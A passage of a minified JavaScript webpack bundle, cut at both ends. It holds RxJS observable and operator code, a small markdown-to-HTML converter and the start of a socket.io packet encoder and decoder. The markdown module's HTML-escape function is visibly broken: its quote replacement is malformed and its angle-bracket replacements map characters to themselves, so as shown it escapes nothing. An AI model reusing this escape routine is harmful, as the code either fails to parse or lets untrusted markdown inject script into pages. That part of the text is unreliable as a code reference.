E(_=1===_.length&&(0,a.k)(_[0])?_[0]:_,null).pipe((0,s.U)(g=>S(...g)))}return E(_,null)}function E(_,S){return new n.y(g=>{const C=_.length;if(0===C)return void g.complete();const z=new Array(C);let H=0,j=0;for(let U=0;U<C;U++){const G=(0,c.D)(_[U]);let Q=!1;g.add(G.subscribe({next:oe=>{Q||(Q=!0,j++),z[U]=oe},error:oe=>g.error(oe),complete:()=>{H++,(H===C||!Q)&&(j===C&&g.next(S?S.reduce((oe,Ce,k)=>(oe[Ce]=z[k],oe),{}):z),g.complete())}}))}})}},5254:(At,ae,d)=>{"use strict";d.d(ae,{D:()=>U});var n=d(6498),a=d(9249),s=d(2654),u=d(3821),E=d(6454),_=d(5430),C=d(8955),z=d(8515);function U(G,Q){return Q?function j(G,Q){if(null!=G){if(function g(G){return G&&"function"==typeof G[u.L]}(G))return function c(G,Q){return new n.y(oe=>{const Ce=new s.w;return Ce.add(Q.schedule(()=>{const k=G[u.L]();Ce.add(k.subscribe({next(K){Ce.add(Q.schedule(()=>oe.next(K)))},error(K){Ce.add(Q.schedule(()=>oe.error(K)))},complete(){Ce.add(Q.schedule(()=>oe.complete()))}}))})),Ce})}(G,Q);if((0,C.t)(G))return function f(G,Q){return new n.y(oe=>{const Ce=new s.w;return Ce.add(Q.schedule(()=>G.then(k=>{Ce.add(Q.schedule(()=>{oe.next(k),Ce.add(Q.schedule(()=>oe.complete()))}))},k=>{Ce.add(Q.schedule(()=>oe.error(k)))}))),Ce})}(G,Q);if((0,z.z)(G))return(0,E.r)(G,Q);if(function H(G){return G&&"function"==typeof G[_.hZ]}(G)||"string"==typeof G)return function S(G,Q){if(!G)throw new Error("Iterable cannot be null");return new n.y(oe=>{const Ce=new s.w;let k;return Ce.add(()=>{k&&"function"==typeof k.return&&k.return()}),Ce.add(Q.schedule(()=>{k=G[_.hZ](),Ce.add(Q.schedule(function(){if(oe.closed)return;let K,se;try{const ee=k.next();K=ee.value,se=ee.done}catch(ee){return void oe.error(ee)}se?oe.complete():(oe.next(K),this.schedule())}))})),Ce})}(G,Q)}throw new TypeError((null!==G&&typeof G||G)+" is not observable")}(G,Q):G instanceof n.y?G:new n.y((0,a.s)(G))}},3009:(At,ae,d)=>{"use strict";d.d(ae,{n:()=>u});var n=d(6498),a=d(3650),s=d(6454);function u(c,f){return f?(0,s.r)(c,f):new n.y((0,a.V)(c))}},3753:(At,ae,d)=>{"use strict";d.d(ae,{R:()=>f});var n=d(6498),a=d(6688),s=d(7043),u=d(4850);function f(C,z,H,j){return(0,s.m)(H)&&(j=H,H=void 0),j?f(C,z,H).pipe((0,u.U)(U=>(0,a.k)(U)?j(...U):j(U))):new n.y(U=>{E(C,z,function G(Q){U.next(arguments.length>1?Array.prototype.slice.call(arguments):Q)},U,H)})}function E(C,z,H,j,U){let G;if(function g(C){return C&&"function"==typeof C.addEventListener&&"function"==typeof C.removeEventListener}(C)){const Q=C;C.addEventListener(z,H,U),G=()=>Q.removeEventListener(z,H,U)}else if(function S(C){return C&&"function"==typeof C.on&&"function"==typeof C.off}(C)){const Q=C;C.on(z,H),G=()=>Q.off(z,H)}else if(function _(C){return C&&"function"==typeof C.addListener&&"function"==typeof C.removeListener}(C)){const Q=C;C.addListener(z,H),G=()=>Q.removeListener(z,H)}else{if(!C||!C.length)throw new TypeError("Invalid event target");for(let Q=0,oe=C.length;Q<oe;Q++)E(C[Q],z,H,j,U)}j.add(G)}},6787:(At,ae,d)=>{"use strict";d.d(ae,{T:()=>c});var n=d(6498),a=d(2866),s=d(9146),u=d(3009);function c(...f){let E=Number.POSITIVE_INFINITY,_=null,S=f[f.length-1];return(0,a.K)(S)?(_=f.pop(),f.length>1&&"number"==typeof f[f.length-1]&&(E=f.pop())):"number"==typeof S&&(E=f.pop()),null===_&&1===f.length&&f[0]instanceof n.y?f[0]:(0,s.J)(E)((0,u.n)(f,_))}},1086:(At,ae,d)=>{"use strict";d.d(ae,{of:()=>u});var n=d(2866),a=d(3009),s=d(6454);function u(...c){let f=c[c.length-1];return(0,n.K)(f)?(c.pop(),(0,s.r)(c,f)):(0,a.n)(c)}},1737:(At,ae,d)=>{"use strict";d.d(ae,{_:()=>a});var n=d(6498);function a(u,c){return new n.y(c?f=>c.schedule(s,0,{error:u,subscriber:f}):f=>f.error(u))}function s({error:u,subscriber:c}){c.error(u)}},7739:(At,ae,d)=>{"use strict";d.d(ae,{H:()=>f});var n=d(6498),a=d(353),s=d(6688);function u(_){return!(0,s.k)(_)&&_-parseFloat(_)+1>=0}var c=d(2866);function f(_=0,S,g){let C=-1;return u(S)?C=Number(S)<1?1:Number(S):(0,c.K)(S)&&(g=S),(0,c.K)(g)||(g=a.P),new n.y(z=>{const H=u(_)?_:+_-g.now();return g.schedule(E,H,{index:0,period:C,subscriber:z})})}function E(_){const{index:S,period:g,subscriber:C}=_;if(C.next(S),!C.closed){if(-1===g)return C.complete();_.index=S+1,this.schedule(_,g)}}},7221:(At,ae,d)=>{"use strict";d.d(ae,{K:()=>a});var n=d(1177);function a(c){return function(E){const _=new s(c),S=E.lift(_);return _.caught=S}}class s{constructor(f){this.selector=f}call(f,E){return E.subscribe(new u(f,this.selector,this.caught))}}class u extends n.Ds{constructor(f,E,_){super(f),this.selector=E,this.caught=_}error(f){if(!this.isStopped){let E;try{E=this.selector(f,this.caught)}catch(g){return void super.error(g)}this._unsubscribeAndRecycle();const _=new n.IY(this);this.add(_);const S=(0,n.ft)(E,_);S!==_&&this.add(S)}}}},1406:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>a});var n=d(1709);function a(s,u){return(0,n.zg)(s,u,1)}},13:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>s});var n=d(3489),a=d(353);function s(E,_=a.P){return S=>S.lift(new u(E,_))}class u{constructor(_,S){this.dueTime=_,this.scheduler=S}call(_,S){return S.subscribe(new c(_,this.dueTime,this.scheduler))}}class c extends n.L{constructor(_,S,g){super(_),this.dueTime=S,this.scheduler=g,this.debouncedSubscription=null,this.lastValue=null,this.hasValue=!1}_next(_){this.clearDebounce(),this.lastValue=_,this.hasValue=!0,this.add(this.debouncedSubscription=this.scheduler.schedule(f,this.dueTime,this))}_complete(){this.debouncedNext(),this.destination.complete()}debouncedNext(){if(this.clearDebounce(),this.hasValue){const{lastValue:_}=this;this.lastValue=null,this.hasValue=!1,this.destination.next(_)}}clearDebounce(){const _=this.debouncedSubscription;null!==_&&(this.remove(_),_.unsubscribe(),this.debouncedSubscription=null)}}function f(E){E.debouncedNext()}},8583:(At,ae,d)=>{"use strict";d.d(ae,{g:()=>c});var n=d(353),s=d(3489),u=d(9312);function c(S,g=n.P){const z=function a(S){return S instanceof Date&&!isNaN(+S)}(S)?+S-g.now():Math.abs(S);return H=>H.lift(new f(z,g))}class f{constructor(g,C){this.delay=g,this.scheduler=C}call(g,C){return C.subscribe(new E(g,this.delay,this.scheduler))}}class E extends s.L{constructor(g,C,z){super(g),this.delay=C,this.scheduler=z,this.queue=[],this.active=!1,this.errored=!1}static dispatch(g){const C=g.source,z=C.queue,H=g.scheduler,j=g.destination;for(;z.length>0&&z[0].time-H.now()<=0;)z.shift().notification.observe(j);if(z.length>0){const U=Math.max(0,z[0].time-H.now());this.schedule(g,U)}else this.unsubscribe(),C.active=!1}_schedule(g){this.active=!0,this.destination.add(g.schedule(E.dispatch,this.delay,{source:this,destination:this.destination,scheduler:g}))}scheduleNotification(g){if(!0===this.errored)return;const C=this.scheduler,z=new _(C.now()+this.delay,g);this.queue.push(z),!1===this.active&&this._schedule(C)}_next(g){this.scheduleNotification(u.P.createNext(g))}_error(g){this.errored=!0,this.queue=[],this.destination.error(g),this.unsubscribe()}_complete(){this.scheduleNotification(u.P.createComplete()),this.unsubscribe()}}class _{constructor(g,C){this.time=g,this.notification=C}}},5778:(At,ae,d)=>{"use strict";d.d(ae,{x:()=>a});var n=d(3489);function a(c,f){return E=>E.lift(new s(c,f))}class s{constructor(f,E){this.compare=f,this.keySelector=E}call(f,E){return E.subscribe(new u(f,this.compare,this.keySelector))}}class u extends n.L{constructor(f,E,_){super(f),this.keySelector=_,this.hasKey=!1,"function"==typeof E&&(this.compare=E)}compare(f,E){return f===E}_next(f){let E;try{const{keySelector:S}=this;E=S?S(f):f}catch(S){return this.destination.error(S)}let _=!1;if(this.hasKey)try{const{compare:S}=this;_=S(this.key,E)}catch(S){return this.destination.error(S)}else this.hasKey=!0;_||(this.key=E,this.destination.next(f))}}},2198:(At,ae,d)=>{"use strict";d.d(ae,{h:()=>a});var n=d(3489);function a(c,f){return function(_){return _.lift(new s(c,f))}}class s{constructor(f,E){this.predicate=f,this.thisArg=E}call(f,E){return E.subscribe(new u(f,this.predicate,this.thisArg))}}class u extends n.L{constructor(f,E,_){super(f),this.predicate=E,this.thisArg=_,this.count=0}_next(f){let E;try{E=this.predicate.call(this.thisArg,f,this.count++)}catch(_){return void this.destination.error(_)}E&&this.destination.next(f)}}},537:(At,ae,d)=>{"use strict";d.d(ae,{x:()=>s});var n=d(3489),a=d(2654);function s(f){return E=>E.lift(new u(f))}class u{constructor(E){this.callback=E}call(E,_){return _.subscribe(new c(E,this.callback))}}class c extends n.L{constructor(E,_){super(E),this.add(new a.w(_))}}},4850:(At,ae,d)=>{"use strict";d.d(ae,{U:()=>a});var n=d(3489);function a(c,f){return function(_){if("function"!=typeof c)throw new TypeError("argument is not a function. Are you looking for `mapTo()`?");return _.lift(new s(c,f))}}class s{constructor(f,E){this.project=f,this.thisArg=E}call(f,E){return E.subscribe(new u(f,this.project,this.thisArg))}}class u extends n.L{constructor(f,E,_){super(f),this.project=E,this.count=0,this.thisArg=_||this}_next(f){let E;try{E=this.project.call(this.thisArg,f,this.count++)}catch(_){return void this.destination.error(_)}this.destination.next(E)}}},7604:(At,ae,d)=>{"use strict";d.d(ae,{h:()=>a});var n=d(3489);function a(c){return f=>f.lift(new s(c))}class s{constructor(f){this.value=f}call(f,E){return E.subscribe(new u(f,this.value))}}class u extends n.L{constructor(f,E){super(f),this.value=E}_next(f){this.destination.next(this.value)}}},9146:(At,ae,d)=>{"use strict";d.d(ae,{J:()=>s});var n=d(1709),a=d(5379);function s(u=Number.POSITIVE_INFINITY){return(0,n.zg)(a.y,u)}},1709:(At,ae,d)=>{"use strict";d.d(ae,{zg:()=>u});var n=d(4850),a=d(5254),s=d(1177);function u(_,S,g=Number.POSITIVE_INFINITY){return"function"==typeof S?C=>C.pipe(u((z,H)=>(0,a.D)(_(z,H)).pipe((0,n.U)((j,U)=>S(z,j,H,U))),g)):("number"==typeof S&&(g=S),C=>C.lift(new c(_,g)))}class c{constructor(S,g=Number.POSITIVE_INFINITY){this.project=S,this.concurrent=g}call(S,g){return g.subscribe(new f(S,this.project,this.concurrent))}}class f extends s.Ds{constructor(S,g,C=Number.POSITIVE_INFINITY){super(S),this.project=g,this.concurrent=C,this.hasCompleted=!1,this.buffer=[],this.active=0,this.index=0}_next(S){this.active<this.concurrent?this._tryNext(S):this.buffer.push(S)}_tryNext(S){let g;const C=this.index++;try{g=this.project(S,C)}catch(z){return void this.destination.error(z)}this.active++,this._innerSub(g)}_innerSub(S){const g=new s.IY(this),C=this.destination;C.add(g);const z=(0,s.ft)(S,g);z!==g&&C.add(z)}_complete(){this.hasCompleted=!0,0===this.active&&0===this.buffer.length&&this.destination.complete(),this.unsubscribe()}notifyNext(S){this.destination.next(S)}notifyComplete(){const S=this.buffer;this.active--,S.length>0?this._next(S.shift()):0===this.active&&this.hasCompleted&&this.destination.complete()}}},4327:(At,ae,d)=>{"use strict";d.d(ae,{x:()=>a});var n=d(3489);function a(){return function(f){return f.lift(new s(f))}}class s{constructor(f){this.connectable=f}call(f,E){const{connectable:_}=this;_._refCount++;const S=new u(f,_),g=E.subscribe(S);return S.closed||(S.connection=_.connect()),g}}class u extends n.L{constructor(f,E){super(f),this.connectable=E}_unsubscribe(){const{connectable:f}=this;if(!f)return void(this.connection=null);this.connectable=null;const E=f._refCount;if(E<=0)return void(this.connection=null);if(f._refCount=E-1,E>1)return void(this.connection=null);const{connection:_}=this,S=f._connection;this.connection=null,S&&(!_||S===_)&&S.unsubscribe()}}},2474:(At,ae,d)=>{"use strict";d.d(ae,{B:()=>E});var n=d(1762);class s{constructor(S,g){this.subjectFactory=S,this.selector=g}call(S,g){const{selector:C}=this,z=this.subjectFactory(),H=C(z).subscribe(S);return H.add(g.subscribe(z)),H}}var u=d(4327),c=d(8929);function f(){return new c.xQ}function E(){return _=>(0,u.x)()(function a(_,S){return function(C){let z;if(z="function"==typeof _?_:function(){return _},"function"==typeof S)return C.lift(new s(z,S));const H=Object.create(C,n.N);return H.source=C,H.subjectFactory=z,H}}(f)(_))}},1307:(At,ae,d)=>{"use strict";d.d(ae,{T:()=>a});var n=d(3489);function a(c){return f=>f.lift(new s(c))}class s{constructor(f){this.total=f}call(f,E){return E.subscribe(new u(f,this.total))}}class u extends n.L{constructor(f,E){super(f),this.total=E,this.count=0}_next(f){++this.count>this.total&&this.destination.next(f)}}},1059:(At,ae,d)=>{"use strict";d.d(ae,{O:()=>s});var n=d(1221),a=d(2866);function s(...u){const c=u[u.length-1];return(0,a.K)(c)?(u.pop(),f=>(0,n.z)(u,f,c)):f=>(0,n.z)(u,f)}},7545:(At,ae,d)=>{"use strict";d.d(ae,{w:()=>u});var n=d(4850),a=d(5254),s=d(1177);function u(E,_){return"function"==typeof _?S=>S.pipe(u((g,C)=>(0,a.D)(E(g,C)).pipe((0,n.U)((z,H)=>_(g,z,C,H))))):S=>S.lift(new c(E))}class c{constructor(_){this.project=_}call(_,S){return S.subscribe(new f(_,this.project))}}class f extends s.Ds{constructor(_,S){super(_),this.project=S,this.index=0}_next(_){let S;const g=this.index++;try{S=this.project(_,g)}catch(C){return void this.destination.error(C)}this._innerSub(S)}_innerSub(_){const S=this.innerSubscription;S&&S.unsubscribe();const g=new s.IY(this),C=this.destination;C.add(g),this.innerSubscription=(0,s.ft)(_,g),this.innerSubscription!==g&&C.add(this.innerSubscription)}_complete(){const{innerSubscription:_}=this;(!_||_.closed)&&super._complete(),this.unsubscribe()}_unsubscribe(){this.innerSubscription=void 0}notifyComplete(){this.innerSubscription=void 0,this.isStopped&&super._complete()}notifyNext(_){this.destination.next(_)}}},2986:(At,ae,d)=>{"use strict";d.d(ae,{q:()=>u});var n=d(3489),a=d(4231),s=d(8896);function u(E){return _=>0===E?(0,s.c)():_.lift(new c(E))}class c{constructor(_){if(this.total=_,this.total<0)throw new a.W}call(_,S){return S.subscribe(new f(_,this.total))}}class f extends n.L{constructor(_,S){super(_),this.total=S,this.count=0}_next(_){const S=this.total,g=++this.count;g<=S&&(this.destination.next(_),g===S&&(this.destination.complete(),this.unsubscribe()))}}},7625:(At,ae,d)=>{"use strict";d.d(ae,{R:()=>a});var n=d(1177);function a(c){return f=>f.lift(new s(c))}class s{constructor(f){this.notifier=f}call(f,E){const _=new u(f),S=(0,n.ft)(this.notifier,new n.IY(_));return S&&!_.seenValue?(_.add(S),E.subscribe(_)):_}}class u extends n.Ds{constructor(f){super(f),this.seenValue=!1}notifyNext(){this.seenValue=!0,this.complete()}notifyComplete(){}}},4290:(At,ae,d)=>{"use strict";d.d(ae,{o:()=>a});var n=d(3489);function a(c,f=!1){return E=>E.lift(new s(c,f))}class s{constructor(f,E){this.predicate=f,this.inclusive=E}call(f,E){return E.subscribe(new u(f,this.predicate,this.inclusive))}}class u extends n.L{constructor(f,E,_){super(f),this.predicate=E,this.inclusive=_,this.index=0}_next(f){const E=this.destination;let _;try{_=this.predicate(f,this.index++)}catch(S){return void E.error(S)}this.nextOrComplete(f,_)}nextOrComplete(f,E){const _=this.destination;Boolean(E)?_.next(f):(this.inclusive&&_.next(f),_.complete())}}},2868:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>u});var n=d(3489);function a(){}var s=d(7043);function u(E,_,S){return function(C){return C.lift(new c(E,_,S))}}class c{constructor(_,S,g){this.nextOrObserver=_,this.error=S,this.complete=g}call(_,S){return S.subscribe(new f(_,this.nextOrObserver,this.error,this.complete))}}class f extends n.L{constructor(_,S,g,C){super(_),this._tapNext=a,this._tapError=a,this._tapComplete=a,this._tapError=g||a,this._tapComplete=C||a,(0,s.m)(S)?(this._context=this,this._tapNext=S):S&&(this._context=S,this._tapNext=S.next||a,this._tapError=S.error||a,this._tapComplete=S.complete||a)}_next(_){try{this._tapNext.call(this._context,_)}catch(S){return void this.destination.error(S)}this.destination.next(_)}_error(_){try{this._tapError.call(this._context,_)}catch(S){return void this.destination.error(S)}this.destination.error(_)}_complete(){try{this._tapComplete.call(this._context)}catch(_){return void this.destination.error(_)}return this.destination.complete()}}},6454:(At,ae,d)=>{"use strict";d.d(ae,{r:()=>s});var n=d(6498),a=d(2654);function s(u,c){return new n.y(f=>{const E=new a.w;let _=0;return E.add(c.schedule(function(){_!==u.length?(f.next(u[_++]),f.closed||E.add(this.schedule())):f.complete()})),E})}},6686:(At,ae,d)=>{"use strict";d.d(ae,{o:()=>s});var n=d(2654);class a extends n.w{constructor(c,f){super()}schedule(c,f=0){return this}}class s extends a{constructor(c,f){super(c,f),this.scheduler=c,this.work=f,this.pending=!1}schedule(c,f=0){if(this.closed)return this;this.state=c;const E=this.id,_=this.scheduler;return null!=E&&(this.id=this.recycleAsyncId(_,E,f)),this.pending=!0,this.delay=f,this.id=this.id||this.requestAsyncId(_,this.id,f),this}requestAsyncId(c,f,E=0){return setInterval(c.flush.bind(c,this),E)}recycleAsyncId(c,f,E=0){if(null!==E&&this.delay===E&&!1===this.pending)return f;clearInterval(f)}execute(c,f){if(this.closed)return new Error("executing a cancelled action");this.pending=!1;const E=this._execute(c,f);if(E)return E;!1===this.pending&&null!=this.id&&(this.id=this.recycleAsyncId(this.scheduler,this.id,null))}_execute(c,f){let _,E=!1;try{this.work(c)}catch(S){E=!0,_=!!S&&S||new Error(S)}if(E)return this.unsubscribe(),_}_unsubscribe(){const c=this.id,f=this.scheduler,E=f.actions,_=E.indexOf(this);this.work=null,this.state=null,this.pending=!1,this.scheduler=null,-1!==_&&E.splice(_,1),null!=c&&(this.id=this.recycleAsyncId(f,c,null)),this.delay=null}}},2268:(At,ae,d)=>{"use strict";d.d(ae,{v:()=>a});let n=(()=>{class s{constructor(c,f=s.now){this.SchedulerAction=c,this.now=f}schedule(c,f=0,E){return new this.SchedulerAction(this,c).schedule(E,f)}}return s.now=()=>Date.now(),s})();class a extends n{constructor(u,c=n.now){super(u,()=>a.delegate&&a.delegate!==this?a.delegate.now():c()),this.actions=[],this.active=!1,this.scheduled=void 0}schedule(u,c=0,f){return a.delegate&&a.delegate!==this?a.delegate.schedule(u,c,f):super.schedule(u,c,f)}flush(u){const{actions:c}=this;if(this.active)return void c.push(u);let f;this.active=!0;do{if(f=u.execute(u.state,u.delay))break}while(u=c.shift());if(this.active=!1,f){for(;u=c.shift();)u.unsubscribe();throw f}}}},352:(At,ae,d)=>{"use strict";d.d(ae,{Z:()=>c});var n=d(6686),s=d(2268);const c=new class u extends s.v{flush(_){this.active=!0,this.scheduled=void 0;const{actions:S}=this;let g,C=-1,z=S.length;_=_||S.shift();do{if(g=_.execute(_.state,_.delay))break}while(++C<z&&(_=S.shift()));if(this.active=!1,g){for(;++C<z&&(_=S.shift());)_.unsubscribe();throw g}}}(class a extends n.o{constructor(_,S){super(_,S),this.scheduler=_,this.work=S}requestAsyncId(_,S,g=0){return null!==g&&g>0?super.requestAsyncId(_,S,g):(_.actions.push(this),_.scheduled||(_.scheduled=requestAnimationFrame(()=>_.flush(null))))}recycleAsyncId(_,S,g=0){if(null!==g&&g>0||null===g&&this.delay>0)return super.recycleAsyncId(_,S,g);0===_.actions.length&&(cancelAnimationFrame(S),_.scheduled=void 0)}})},8139:(At,ae,d)=>{"use strict";d.d(ae,{E:()=>C});let n=1;const a=Promise.resolve(),s={};function u(H){return H in s&&(delete s[H],!0)}const c={setImmediate(H){const j=n++;return s[j]=!0,a.then(()=>u(j)&&H()),j},clearImmediate(H){u(H)}};var E=d(6686),S=d(2268);const C=new class g extends S.v{flush(j){this.active=!0,this.scheduled=void 0;const{actions:U}=this;let G,Q=-1,oe=U.length;j=j||U.shift();do{if(G=j.execute(j.state,j.delay))break}while(++Q<oe&&(j=U.shift()));if(this.active=!1,G){for(;++Q<oe&&(j=U.shift());)j.unsubscribe();throw G}}}(class _ extends E.o{constructor(j,U){super(j,U),this.scheduler=j,this.work=U}requestAsyncId(j,U,G=0){return null!==G&&G>0?super.requestAsyncId(j,U,G):(j.actions.push(this),j.scheduled||(j.scheduled=c.setImmediate(j.flush.bind(j,null))))}recycleAsyncId(j,U,G=0){if(null!==G&&G>0||null===G&&this.delay>0)return super.recycleAsyncId(j,U,G);0===j.actions.length&&(c.clearImmediate(U),j.scheduled=void 0)}})},353:(At,ae,d)=>{"use strict";d.d(ae,{P:()=>u});var n=d(6686);const u=new(d(2268).v)(n.o)},5430:(At,ae,d)=>{"use strict";d.d(ae,{hZ:()=>a});const a=function n(){return"function"==typeof Symbol&&Symbol.iterator?Symbol.iterator:"@@iterator"}()},3821:(At,ae,d)=>{"use strict";d.d(ae,{L:()=>n});const n="function"==typeof Symbol&&Symbol.observable||"@@observable"},7668:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>n});const n="function"==typeof Symbol?Symbol("rxSubscriber"):"@@rxSubscriber_"+Math.random()},4231:(At,ae,d)=>{"use strict";d.d(ae,{W:()=>a});const a=(()=>{function s(){return Error.call(this),this.message="argument out of range",this.name="ArgumentOutOfRangeError",this}return s.prototype=Object.create(Error.prototype),s})()},5279:(At,ae,d)=>{"use strict";d.d(ae,{N:()=>a});const a=(()=>{function s(){return Error.call(this),this.message="object unsubscribed",this.name="ObjectUnsubscribedError",this}return s.prototype=Object.create(Error.prototype),s})()},2782:(At,ae,d)=>{"use strict";function n(a){setTimeout(()=>{throw a},0)}d.d(ae,{z:()=>n})},5379:(At,ae,d)=>{"use strict";function n(a){return a}d.d(ae,{y:()=>n})},6688:(At,ae,d)=>{"use strict";d.d(ae,{k:()=>n});const n=Array.isArray||(a=>a&&"number"==typeof a.length)},8515:(At,ae,d)=>{"use strict";d.d(ae,{z:()=>n});const n=a=>a&&"number"==typeof a.length&&"function"!=typeof a},7043:(At,ae,d)=>{"use strict";function n(a){return"function"==typeof a}d.d(ae,{m:()=>n})},7830:(At,ae,d)=>{"use strict";function n(a){return null!==a&&"object"==typeof a}d.d(ae,{K:()=>n})},4715:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>a});var n=d(6498);function a(s){return!!s&&(s instanceof n.y||"function"==typeof s.lift&&"function"==typeof s.subscribe)}},8955:(At,ae,d)=>{"use strict";function n(a){return!!a&&"function"!=typeof a.subscribe&&"function"==typeof a.then}d.d(ae,{t:()=>n})},2866:(At,ae,d)=>{"use strict";function n(a){return a&&"function"==typeof a.schedule}d.d(ae,{K:()=>n})},4843:(At,ae,d)=>{"use strict";d.d(ae,{U:()=>s,z:()=>a});var n=d(5379);function a(...u){return s(u)}function s(u){return 0===u.length?n.y:1===u.length?u[0]:function(f){return u.reduce((E,_)=>_(E),f)}}},9249:(At,ae,d)=>{"use strict";d.d(ae,{s:()=>C});var n=d(3650),a=d(2782),u=d(5430),f=d(3821),_=d(8515),S=d(8955),g=d(7830);const C=z=>{if(z&&"function"==typeof z[f.L])return(z=>H=>{const j=z[f.L]();if("function"!=typeof j.subscribe)throw new TypeError("Provided object does not correctly implement Symbol.observable");return j.subscribe(H)})(z);if((0,_.z)(z))return(0,n.V)(z);if((0,S.t)(z))return(z=>H=>(z.then(j=>{H.closed||(H.next(j),H.complete())},j=>H.error(j)).then(null,a.z),H))(z);if(z&&"function"==typeof z[u.hZ])return(z=>H=>{const j=z[u.hZ]();for(;;){let U;try{U=j.next()}catch(G){return H.error(G),H}if(U.done){H.complete();break}if(H.next(U.value),H.closed)break}return"function"==typeof j.return&&H.add(()=>{j.return&&j.return()}),H})(z);{const j=`You provided ${(0,g.K)(z)?"an invalid object":`\'${z}\'`} where a stream was expected. You can provide an Observable, Promise, Array, or Iterable.`;throw new TypeError(j)}}},3650:(At,ae,d)=>{"use strict";d.d(ae,{V:()=>n});const n=a=>s=>{for(let u=0,c=a.length;u<c&&!s.closed;u++)s.next(a[u]);s.complete()}},8111:(At,ae,d)=>{"use strict";d.d(ae,{Z:()=>c});var n={"":["<em>","</em>"],_:["<strong>","</strong>"],"\\n":["<br />"]," ":["<br />"],"-":["<hr />"]};function a(f){return f.replace(RegExp("^"+(f.match(/^(\\t| )+/)||"")[0],"gm"),"")}function s(f){return(f+"").replace(/"/g,""").replace(/</g,"<").replace(/>/g,">")}const c=function u(f){var z,H,j,U,G,E=/((?:^|\\n+)(?:\\n---+|\\* \\*(?: \\*)+)\\n)|(?:^```(\\w*)\\n([\\s\\S]*?)\\n```$)|((?:(?:^|\\n+)(?:\\t| {2,}).+)+\\n*)|((?:(?:^|\\n)([>*+-]|\\d+\\.)\\s+.*)+)|(?:\\!\\[([^\\]]*?)\\]\\(([^\\)]+?)\\))|(\\[)|(\\](?:\\(([^\\)]+?)\\))?)|(?:(?:^|\\n+)([^\\s].*)\\n(\\-{3,}|={3,})(?:\\n+|$))|(?:(?:^|\\n+)(#{1,3})\\s*(.+)(?:\\n+|$))|(?:`([^`].*?)`)|( \\n\\n*|\\n{2,}|__|\\*\\*|[_*])/gm,_=[],S="",g=0,C={};function Q(Ce){var k=n[Ce.replace(/\\*/g,"_")[1]||""],K=_[_.length-1]==Ce;return k?k[1]?(_[K?"pop":"push"](Ce),k[0|K]):k[0]:Ce}function oe(){for(var Ce="";_.length;)Ce+=Q(_[_.length-1]);return Ce}for(f=f.replace(/^\\[(.+?)\\]:\\s*(.+)$/gm,function(Ce,k,K){return C[k.toLowerCase()]=K,""}).replace(/^\\n+|\\n+$/g,"");j=E.exec(f);)H=f.substring(g,j.index),g=E.lastIndex,z=j[0],H.match(/[^\\\\](\\\\\\\\)*\\\\$/)||(j[3]||j[4]?z=\'<pre class="code \'+(j[4]?"poetry":j[2].toLowerCase())+\'">\'+a(s(j[3]||j[4]).replace(/^\\n+|\\n+$/g,""))+"</pre>":j[6]?((G=j[6]).match(/\\./)&&(j[5]=j[5].replace(/^\\d+/gm,"")),U=u(a(j[5].replace(/^\\s*[>*+.-]/gm,""))),">"===G?G="blockquote":(G=G.match(/\\./)?"ol":"ul",U=U.replace(/^(.*)(\\n|$)/gm,"<li>$1</li>")),z="<"+G+">"+U+"</"+G+">"):j[8]?z=\'<img src="\'+s(j[8])+\'" alt="\'+s(j[7])+\'">\':j[10]?(S=S.replace("<a>",\'<a href="\'+s(j[11]||C[H.toLowerCase()])+\'">\'),z=oe()+"</a>"):j[9]?z="<a>":j[12]||j[14]?z="<"+(G="h"+(j[14]?j[14].length:"="===j[13][0]?1:2))+">"+u(j[12]||j[15])+"</"+G+">":j[16]?z="<code>"+s(j[16])+"</code>":(j[17]||j[1])&&(z=Q(j[17]||"--"))),S+=H,S+=z;return(S+f.substring(g)+oe()).trim()}},3541:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.reconstructPacket=ae.deconstructPacket=void 0;const n=d(8120);function s(f,E){if(!f)return f;if(n.isBinary(f)){const _={_placeholder:!0,num:E.length};return E.push(f),_}if(Array.isArray(f)){const _=new Array(f.length);for(let S=0;S<f.length;S++)_[S]=s(f[S],E);return _}if("object"==typeof f&&!(f instanceof Date)){const _={};for(const S in f)f.hasOwnProperty(S)&&(_[S]=s(f[S],E));return _}return f}function c(f,E){if(!f)return f;if(f&&!0===f._placeholder){if("number"==typeof f.num&&f.num>=0&&f.num<E.length)return E[f.num];throw new Error("illegal attachments")}if(Array.isArray(f))for(let _=0;_<f.length;_++)f[_]=c(f[_],E);else if("object"==typeof f)for(const _ in f)f.hasOwnProperty(_)&&(f[_]=c(f[_],E));return f}ae.deconstructPacket=function a(f){const E=[],S=f;return S.data=s(f.data,E),S.attachments=E.length,{packet:S,buffers:E}},ae.reconstructPacket=function u(f,E){return f.data=c(f.data,E),f.attachments=void 0,f}},869:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Decoder=ae.Encoder=ae.PacketType=ae.protocol=void 0;const n=d(1264),a=d(3541),s=d(8120),u=d(1455)("socket.io-parser");var c,g;ae.protocol=5,(g=c=ae.PacketType||(ae.PacketType={}))[g.CONNECT=0]="CONNECT",g[g.DISCONNECT=1]="DISCONNECT",g[g.EVENT=2]="EVENT",g[g.ACK=3]="ACK",g[g.CONNECT_ERROR=4]="CONNECT_ERROR",g[g.BINARY_EVENT=5]="BINARY_EVENT",g[g.BINARY_ACK=6]="BINARY_ACK",ae.Encoder=class f{encode(C){return u("encoding packet %j",C),C.type!==c.EVENT&&C.type!==c.ACK||!s.hasBinary(C)?[this.encodeAsString(C)]:(C.type=C.type===c.EVENT?c.BINARY_EVENT:c.BINARY_ACK,this.encodeAsBinary(C))}encodeAsString(C){let z=""+C.type;return(C.type===c.BINARY_EVENT||C.type===c.BINARY_ACK)&&(z+=C.attachments+"-"),C.nsp&&"/"!==C.nsp&&(z+=C.nsp+","),null!=C.id&&(z+=C.id),null!=C.data&&(z+=JSON.stringify(C.data)),u("encoded %j as %s",C,z),z}encodeAsBinary(C){const z=a.deconstructPacket(C),H=this.encodeAsString(z.packet),j=z.buffers;return j.unshift(H),j}};class E extends n{constructor(){super()}add(C){let z;if("string"==typeof C){if(this.reconstructor)throw new Error("got plaintext data when reconstructing a packet");z=this.decodeString(C),z.type===c.BINARY_EVENT||z.type===c.BINARY_ACK?(this.reconstructor=new 